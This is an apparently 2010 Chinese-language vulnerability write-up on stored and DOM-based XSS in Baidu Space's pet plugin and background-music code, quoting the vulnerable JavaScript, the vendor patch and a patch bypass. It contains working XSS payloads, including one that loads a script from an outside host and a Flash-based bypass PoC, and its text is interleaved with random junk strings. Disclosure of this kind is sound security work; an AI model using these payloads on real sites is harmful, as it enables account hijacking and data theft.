百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
$ }$ y) B& ^4 G% m3 A: `! W
: V1 b4 A- I, q" O1 K1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. % [7 m4 X6 y/ J* D% M( u
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 / v6 I9 H+ V# c- O- b/ N
3 H4 `8 h8 T" k3 H X将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
) [& P/ Y5 e6 c3 f0 V. g" j0 c其中BdUtil.insertWBR为 ( F) X- J) m: v; u( D: _" B9 H: g
function(text, step) {
# X8 W+ Z2 h% e! d# I& K var textarea = textAreaCache || getContainer();
% g! `1 _- P7 t( [9 x" _ if (!textarea) { $ e' D0 j( a& b- U% G
return text; 9 _2 M0 m( y8 \* T; z
}
2 Q4 d+ j6 N- u textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); ; z8 C8 I1 b0 n. x, _4 J
var string = textarea.value; : ~2 Y _, e1 g
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 6 j2 h1 n: k3 [. ?1 n" G( M* Q' G
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 6 t5 E% E5 k4 j6 M
return result; 4 v0 l2 R% O- }
}
1 T6 w' Q7 c: a5 k2 p在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 5 G* U% n) b+ g2 G5 K3 r& ?+ \
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 4 l4 R: E# B' A, r7 V: e
$ V+ {- K( F) f3 P2 u% ]; x1 c0 M
二:creatbgmusic() Dom-Xss Bug 3 t9 w: w% Q4 ]3 a
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 " \' l W2 \0 C/ p4 W" i4 g$ C0 _% @
# @* C: Z+ | O. V* v在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: : T' H8 a" R1 c$ G# x
0 y2 B Y4 z& B6 Y8 B
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
1 N! i5 k+ f: X# Q f' ?4 { //传入的murl赋值到bgmusic1和bgmusic2中
7 A1 o4 h" w* w. ]$ l5 m% k //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 2 m. x* G; d! U0 Z
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
, H8 c ]) m" v4 M+ c9 k if (musicnum <= 1) {
* q7 I E7 _8 G5 |" L bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; # w; U* Y4 k5 I- H% @
}
/ b1 m( H8 m2 K. c bgmusic1 += "</OBJECT>";
/ }" k% X0 O, [ H% @ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
6 ~3 V- P0 x! s3 ] if (musicnum <= 1) { w A2 |0 b9 [# z5 ^- N3 B' \* r7 I6 `
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
/ v1 W d/ B. |; o% U } ! _- g" h1 |5 t1 G0 C: D, g" c
bgmusic2 += "> </EMBED>";
4 D0 k8 ^8 Y0 |0 j1 T( g var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
+ x3 ]9 e1 ]5 k- S var bgmus = detectWMP(); . ]/ A/ X0 Y: W* H; Z9 F/ Z5 d" F
if (functype == "FckMusicHelper") { 2 `8 E) y5 I) V4 [
if (bgmus.installed) {
8 \- ~% \* e& |8 h if (bgmus.type == "IE") {
. k* A. w" ]/ ~5 Z3 @& @/ o return bgmusic1;
% y" m0 c% }# ~; a. ^ } else if (bgmus.type == "NS") { # d* d- a- I c. Y5 f
return bgmusic2;
9 P1 R; `, K+ d9 U7 J } - S( A$ m6 h& D7 |) U( a5 y$ C+ u
} else { 4 t+ I0 l% ?5 x" ]5 Z1 G& w* E- s
return bgmusic3;
# m, d* { H U0 {2 G+ } @$ Q, K } : C! A/ z2 f$ `5 q6 @
} else {
8 a, L; L+ }, T& ~5 q9 L1 R if (bgmus.installed) {
8 F( l) o' w8 }$ U# y6 r //document.write 直接输出bgmusic变量 导致xss
. d3 l6 z ~/ h. p if (bgmus.type == "IE") { 7 r, m0 M( @5 _- w8 ]' W/ d
document.write(bgmusic1); ; x$ Q U6 U2 ?$ {4 t- A
} else if (bgmus.type == "NS") { 5 }8 \5 ~( o" Q: e
document.write(bgmusic2); . b0 P! }( W, q2 C
}
1 P- i+ y! \0 F } else { $ Z2 s& P" N, J8 y$ F7 u% Y
document.write(bgmusic3); S3 t. e1 V8 J) u/ c% n# U g& g
} ' \1 E6 E8 k$ e1 c4 Z* L6 I# C
return "";
. S( q) W. J( k7 }5 ?. u% g8 t }
0 S9 }/ g" b* x' t" h} / o! ~- U% N' N6 y' E5 p
4 Y, V- T M6 _% ]% P- G
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: , T5 O# b y" E; H
. g3 i4 r' z I9 j4 n& T |5 f- P8 S/ wfunction initBlogTextForFCK(){ 9 d2 f1 p: l4 h' v: q" L
//fck init music 1 M0 l2 X" O' M' q& f
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} * g9 D; \ N; @8 h' t) e! r
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
9 E9 b3 n" x% j0 Z4 J Pvar isAutoPlay=true; 2 p$ [, [5 P7 u5 z) f
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
4 A2 U, ~! i5 g# P( x' P var img=imgBox;
0 A$ Q4 M U7 c- Y E: k) I! V if(img.getAttribute(’rel’)){
7 ]2 ?: q: H+ ~9 ?9 F: T var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
8 o" B3 R6 Z" j- d* n var musicDiv = document.createElement("SPAN");
! l" o( L( i- ?" }" q7 a" m! ~ var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] + v* x4 ~1 m+ j- ]7 h
. O2 p( i) ]8 r6 P ..........................
: E( J. I: h6 Q+ {9 I# b ( O9 u. t& b. N, D0 |
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
- t( J8 w7 q3 I# r7 F. K T: T0 u6 X var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
, L) K" M8 V7 ?4 S# H, _ shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
! p0 E7 c, R$ X4 [& C5 D1 D musicDiv.innerHTML=shtml;
0 [8 R# N A d1 I i--;n--; 9 q F3 N% y$ H5 z |8 ?1 F
}
4 M$ U N3 ^) q' [; Y} / S+ \2 Y" w" e6 a$ W" A; V3 H
. F" S, Q( C9 C$ J. e
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
$ {( E7 k& t2 G4 v' D0 ? . q9 P- ]* V7 a
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> " a" ~, p; R5 t, I3 D
; x2 U4 `! L4 y9 u
等待官方补丁 8 ^! r% L' q- Y# o& a# Z* H' u
: P S+ Y9 U9 _' M
update 2010年5月13日 ! x/ n$ M1 ~) `/ W5 V2 R K; }
( f' W" ?1 V7 F8 s. l' [官方补丁:
1 \8 E" ?& {, `2 {4 f, l" }. p5 R7 O6 y, y( z+ K T) m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 G1 S4 C; T1 t改为:
) @! j" a4 S5 ~var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 1 y* g+ q6 s( e8 o3 O3 N8 {
* R, s3 b# |4 Zupdate 2010年5月13日 21:50:37 . e) X' `$ F h% [2 ^% [
2 r# h% j2 ?8 g
补丁存在漏洞 没有过滤" 可以继续跨: & `, h/ K4 L1 m6 L# }
: d* I& P1 N& S2 ^/ C$ Q% ]; sNEW POC:
$ m/ n$ ~( d- @ f
/ V+ e" \8 K+ s$ t* e/ a<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ) d& w8 w, F& \) N" W
7 a7 q; W/ k8 K( ]4 y. M% o/ N) ^
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>$ B) b/ S3 l6 ^' N1 k0 J/ B( p/ m6 N, Z9 z
7 X+ G7 ~ t, }9 A& f
|